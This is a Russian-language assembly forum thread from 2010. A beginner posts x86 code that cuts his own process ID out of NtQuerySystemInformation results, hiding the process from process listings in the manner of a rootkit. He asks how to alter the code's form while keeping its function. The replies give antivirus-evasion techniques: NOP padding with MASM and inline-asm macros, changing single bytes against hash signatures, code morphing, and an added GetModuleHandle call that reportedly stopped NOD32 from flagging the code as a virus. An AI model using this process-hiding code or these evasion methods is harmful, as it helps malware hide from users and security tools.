Подправте asm код

Discussion in 'WASM.BEGINNERS' started by limit, Aug 26, 2010.

  1. limit

    limit New Member

    Blog Posts:
    0
    Есть код, нужно его немного поменять.
    Я в асме 0. Вот сам код:
    Code (Text):
    1. push ReturnLength
    2.  push SystemInformationLength
    3.  push SystemInformation  
    4.  push dword ptr SystemInformationClass  
    5.  call dword ptr [addr_NtQuerySystemInformation]  
    6.  or eax,eax  
    7.  jl quit  
    8.  cmp SystemInformationClass, SystemProcessesAndThreadsInformation  
    9.  jne quit  
    10.  onceagain:  
    11.  mov esi, SystemInformation  
    12.  getnextpidstruct:  
    13.  mov ebx, esi  
    14.  cmp dword ptr [esi],0  
    15.  je quit  
    16.  add esi, [esi]  
    17.  mov ecx, [esi+44h]  
    18.  cmp ecx, mypid  
    19.  jne getnextpidstruct  
    20.  mov edx, [esi]  
    21.  test edx, edx  
    22.  je fillzero  
    23.  add [ebx], edx  
    24.  jmp onceagain  
    25.  fillzero:  
    26.  and [ebx], edx  
    27.  jmp onceagain  
    28.  quit:  
    29.  mov Result, eax
    Можно его как нибуть перекрутить, чтоб суть не менялась, а лишь немного изменить его вид, может в процедуру сунуть иль как там в асме?)
    Парни, выручайте.)
     
  2. censored

    censored New Member

    Blog Posts:
    0
    Можно все строчки местами поменять.
     
  3. Clerk

    Clerk Забанен

    Blog Posts:
    0
    limit
    И какая сигнатура у него ?
     
  4. dyn

    dyn New Member

    Blog Posts:
    0
    После каждой строчки вставь от 10 nop-ов.
    nop - это пустая инструкция, но сигнатуру тебе собьет :)


    Например вот так:

    Code (Text):
    1. push ReturnLength
    2.  nop
    3.  nop
    4.  nop
    5.  nop
    6.  nop
    7.  nop
    8.  nop
    9.  nop
    10.  nop
    11.  nop
    12.  push SystemInformationLength
    13.  nop
    14.  nop
    15.  nop
    16.  nop
    17.  nop
    18.  nop
    19.  nop
    20.  nop
    21.  nop
    22.  nop
    23.  push SystemInformation  
    24.  nop
    25.  nop
    26.  nop
    27.  nop
    28.  nop
    29.  nop
    30.  nop
    31.  nop
    32.  nop
    33.  nop
    34.  push dword ptr SystemInformationClass  
    35.   nop
    36.  nop
    37.  nop
    38.  nop
    39.  nop
    40.  nop
    41.  nop
    42.  nop
    43.  nop
    44.  nop
    45.  call dword ptr [addr_NtQuerySystemInformation]  
    46.   nop
    47.  nop
    48.  nop
    49.  nop
    50.  nop
    51.  nop
    52.  nop
    53.  nop
    54.  nop
    55.  nop
    56.  ; ... и так далее
    57. .. и так далее
    Если пишешь на масме, то можно вот так

    Code (Text):
    1. push ReturnLength
    2.  db 20 dup (90h)
    3.  push SystemInformationLength
    4.  db 20 dup (90h)
    5.  push SystemInformation  
    6.  db 20 dup (90h)
    7.  push dword ptr SystemInformationClass  
    8.  db 20 dup (90h)
    9.  call dword ptr [addr_NtQuerySystemInformation]  
    10.  db 20 dup (90h)
    11. ; ... и так далее
     
  5. Clerk

    Clerk Забанен

    Blog Posts:
    0
    dyn
    Это разбавление мусором. Достаточно изменить только один байт, так как аверские сканеры не могут на данный момент обрабатывать мусор, а тупо в памяти сравнивают хэш из базы с полученным от строки.
     
  6. Rel

    Rel Well-Known Member

    Blog Posts:
    2
    напишите этот код в том, в чем вы не ноль...
     
  7. dyn

    dyn New Member

    Blog Posts:
    0
    Clerk
    Я просто не знаю, откуда и докуда посчитан хеш. И автор тоже 100% не знает где именно сигнатура, с какого и по какой байт. Поэтому имхо, так максимально универсально.
     
  8. limit

    limit New Member

    Blog Posts:
    0
    Этот код я вставлю в с++
    Сейчас натыкаю "nop"’ов =)
    Всем спасибо
     
  9. dyn

    dyn New Member

    Blog Posts:
    0
    limit в студии для повышения читабельности можно вот так сделать:

    Code (Text):
    1. #define _NOPS _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop}
    2.  
    3. // ... тут какой-то код, данные, и т.д.
    4.  
    5. _asm
    6. {
    7.   push ReturnLength
    8.   _NOPS
    9.  push SystemInformationLength
    10.  _NOPS
    11.  push SystemInformation  
    12.  _NOPS
    13.  // .. и т.д.
    14.  
    15. }
     
  10. Clerk

    Clerk Забанен

    Blog Posts:
    0
    dyn
    А можно просто отморфить.
     
  11. Rel

    Rel Well-Known Member

    Blog Posts:
    2
    зачем?
     
  12. JCronuz

    JCronuz New Member

    Blog Posts:
    0
    Вставлял перед кодом вызов
    Code (Text):
    1. invoke GetModuleHandle, NULL
    и нод уже не выскакивал что это вирус :)